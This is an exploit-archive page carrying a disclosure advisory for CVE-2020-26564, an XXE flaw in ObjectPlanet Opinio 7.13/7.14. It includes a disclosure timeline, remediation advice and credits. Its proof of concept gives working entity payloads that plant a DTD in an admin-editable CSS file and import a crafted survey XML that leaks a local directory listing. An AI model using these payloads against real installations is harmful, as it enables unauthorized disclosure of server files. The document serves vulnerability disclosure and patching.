ObjectPlanet Opinio 7.13 / 7.14 XML Injection

Authored by Daniel Tan, Khor Yong Heng, Timothy Tan, Yu Enhui

Posted Jul 30, 2021

ObjectPlanet Opinio versions 7.13 and 7.14 suffer from an XML external entity injection vulnerability.

tags | exploit
advisories | CVE-2020-26564
SHA-256 | af1eaef07e52be0596d75f8c870d0a1dc0e3ff1cc76c2eabee1d671f01d9c7f4 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26564

# Exploit Title: ObjectPlanet Opinio version 7.13/7.14 allows XXE injection
# Vendor Homepage: https://www.objectplanet.com/opinio/
# Software Link: https://www.objectplanet.com/opinio/
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26564

# Timeline
- September 2020: Initial discovery
- October 2020:  Reported to ObjectPlanet
- November 2020:  Fix/patch provided by ObjectPlanet
- July 2021:  CVE-2020-26564

# 1. Introduction
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and
managed.

# 2. Vulnerability Details
ObjectPlanet Opinio before version 7.13 and 7.14 is vulnerable to XXE injection.

# 3. Proof of Concept

### XXE leading to local file disclosure ###

Step 1:

URL: /opinio/admin/file.do?
action=viewEditFileResource&resourceType=6&resourcePatch=upload/css/common/blueSurvey.css

Opinio allows an administrative user to edit local CSS files, this is used to change the contents of a CSS file
to a dtd reference file for the XXE injection
The existing blueSurvey.css file was chosen for this PoC. Replace the contents of the file with:

<!ENTITY all "%start;%file;%end;">

-------------------------------------------------------

Step 2:

Utilize Opinios survey module and create a generic survey template. Export the template .xml file and add this
snippet into the top of the .xml file:

<!ENTITY % file SYSTEM "file:////C:\Users\">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM
"file:////C:\<BASE_DIRECTORY>\opinio\upload\css\common\blueSurvey.css">
%dtd;

Ensure the surveyIntro tag is inserted with the following payload (This will output the result in the
surveyIntro field):

<surveyIntro>&all;</surveyIntro>

The base directory can be guessed via the information under Setup >> Edit System Settings , this page on Opinio
shows the local directory of where Opinio was installed to.

Import the modified .xml file to:
/survey/admin/folderSurvey.do?action=viewImportSurvey['importFile']

-------------------------------------------------------

Step 3:

The C:\Users\ directory can be viewed at :
/opinio/admin/preview.do?action=previewSurvey&surveyId=<SURVEY_ID>


This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at :
https://www.objectplanet.com/opinio/changelog.html


# 4. Remediation
Apply the latest fix/patch from objectplanet.

# 5. Credits
Timothy Tan (https://sg.linkedin.com/in/timtjh)
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)
Daniel Tan (https://www.linkedin.com/in/dantanjk/)
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat	150 files
Ubuntu	68 files
LiquidWorm	23 files
Debian	16 files
malvuln	11 files
nu11secur1ty	11 files
Gentoo	9 files
Google Security Research	6 files
Julien Ahrens	4 files
T. Weber	4 files

File Tags

ActiveX	(932)
Advisory	(79,754)
Arbitrary	(15,694)
BBS	(2,859)
Bypass	(1,619)
CGI	(1,018)
Code Execution	(6,926)
Conference	(673)
Cracker	(840)
CSRF	(3,290)
DoS	(22,602)
Encryption	(2,349)
Exploit	(50,359)
File Inclusion	(4,165)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,660)
Intrusion Detection	(867)
Java	(2,899)
JavaScript	(821)
Kernel	(6,291)
Local	(14,201)
Magazine	(586)
Overflow	(12,419)
Perl	(1,418)
PHP	(5,093)
Proof of Concept	(2,291)
Protocol	(3,435)
Python	(1,467)
Remote	(30,044)
Root	(3,504)
Ruby	(594)
Scanner	(1,631)
Security Tool	(7,777)
Shell	(3,103)
Shellcode	(1,204)
Sniffer	(886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX	(426)
Apple	(1,926)
BSD	(370)
CentOS	(55)
Cisco	(1,917)
Debian	(6,634)
Fedora	(1,690)
FreeBSD	(1,242)
Gentoo	(4,272)
HPUX	(878)
iOS	(330)
iPhone	(108)
IRIX	(220)
Juniper	(67)
Linux	(44,315)
Mac OS X	(684)
Mandriva	(3,105)
NetBSD	(255)
OpenBSD	(479)
RedHat	(12,469)
Slackware	(941)
Solaris	(1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other